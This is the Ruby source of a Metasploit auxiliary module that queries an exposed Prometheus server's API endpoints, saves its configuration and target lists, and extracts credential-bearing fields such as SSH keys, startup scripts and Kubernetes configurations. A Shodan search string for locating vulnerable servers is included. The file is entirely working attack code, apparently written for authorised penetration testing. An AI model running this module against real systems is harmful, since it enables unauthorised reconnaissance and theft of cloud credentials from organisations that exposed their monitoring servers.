152 lines
6.0 KiB
Ruby
152 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Prometheus
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Prometheus API Information Gather',
|
|
'Description' => %q{
|
|
This module utilizes Prometheus' API calls to gather information about
|
|
the server's configuration, and targets. Fields which may contain
|
|
credentials, or credential file names are then pulled out and printed.
|
|
|
|
Targets may have a wealth of information, this module will print the following
|
|
values when found:
|
|
__meta_gce_metadata_ssh_keys, __meta_gce_metadata_startup_script,
|
|
__meta_gce_metadata_kube_env, kubernetes_sd_configs,
|
|
_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration,
|
|
__meta_ec2_tag_CreatedBy, __meta_ec2_tag_OwnedBy
|
|
|
|
Shodan search: "http.favicon.hash:-1399433489"
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die'
|
|
],
|
|
'References' => [
|
|
['URL', 'https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/']
|
|
],
|
|
|
|
'Targets' => [
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DisclosureDate' => '2016-07-01', # Prometheus 1.0 release date, who knows....
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(9090),
|
|
OptString.new('TARGETURI', [ true, 'The URI of Prometheus', '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def run
|
|
vprint_status("#{peer} - Checking build info")
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'buildinfo'),
|
|
'method' => 'GET'
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
|
|
json = res.get_json_document
|
|
version = json.dig('data', 'version')
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (unable to find version number)") unless version
|
|
print_good("Prometheus found, version: #{version}")
|
|
|
|
vprint_status("#{peer} - Checking status config")
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'config'),
|
|
'method' => 'GET'
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
|
|
json = res.get_json_document
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
|
|
yaml = json.dig('data', 'yaml')
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (unable to find yaml)") unless yaml
|
|
begin
|
|
yamlconf = YAML.safe_load(yaml)
|
|
loot_path = store_loot('Prometheus YAML Config', 'application/yaml', datastore['RHOST'], yaml, 'config.yaml')
|
|
print_good("YAML config saved to #{loot_path}")
|
|
prometheus_config_eater(yamlconf)
|
|
rescue Psych::DisallowedClass
|
|
# [-] Auxiliary failed: Psych::DisallowedClass Tried to load unspecified class: Symbol
|
|
print_bad('Unable to load YAML')
|
|
end
|
|
|
|
vprint_status("#{peer} - Checking targets")
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'targets'),
|
|
'method' => 'GET'
|
|
)
|
|
table_targets = Rex::Text::Table.new(
|
|
'Header' => 'Target Data',
|
|
'Indent' => 2,
|
|
'Columns' =>
|
|
[
|
|
'Field',
|
|
'Data'
|
|
]
|
|
)
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
|
|
|
|
json = res.get_json_document
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
|
|
loot_path = store_loot('Prometheus JSON targets', 'application/json', datastore['RHOST'], json.to_json, 'targets.json')
|
|
print_good("JSON targets saved to #{loot_path}")
|
|
json.dig('data', 'activeTargets').each do |target|
|
|
[
|
|
'__meta_gce_metadata_ssh_keys', '__meta_gce_metadata_startup_script', '__meta_gce_metadata_kube_env', 'kubernetes_sd_configs',
|
|
'_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration', '__meta_ec2_tag_CreatedBy', '__meta_ec2_tag_OwnedBy'
|
|
].each do |key|
|
|
if target[key]
|
|
table_targets << [
|
|
key,
|
|
target[key]
|
|
]
|
|
end
|
|
|
|
next unless target.dig('discoveredLabels', key)
|
|
|
|
table_targets << [
|
|
key,
|
|
target.dig('discoveredLabels', key)
|
|
]
|
|
end
|
|
end
|
|
|
|
print_good(table_targets.to_s) if !table_targets.rows.empty?
|
|
|
|
vprint_status("#{peer} - Checking status flags")
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'flags'),
|
|
'method' => 'GET'
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
|
|
json = res.get_json_document
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
|
|
print_good("Config file: #{json.dig('data', 'config.file')}") if json.dig('data', 'config.file')
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|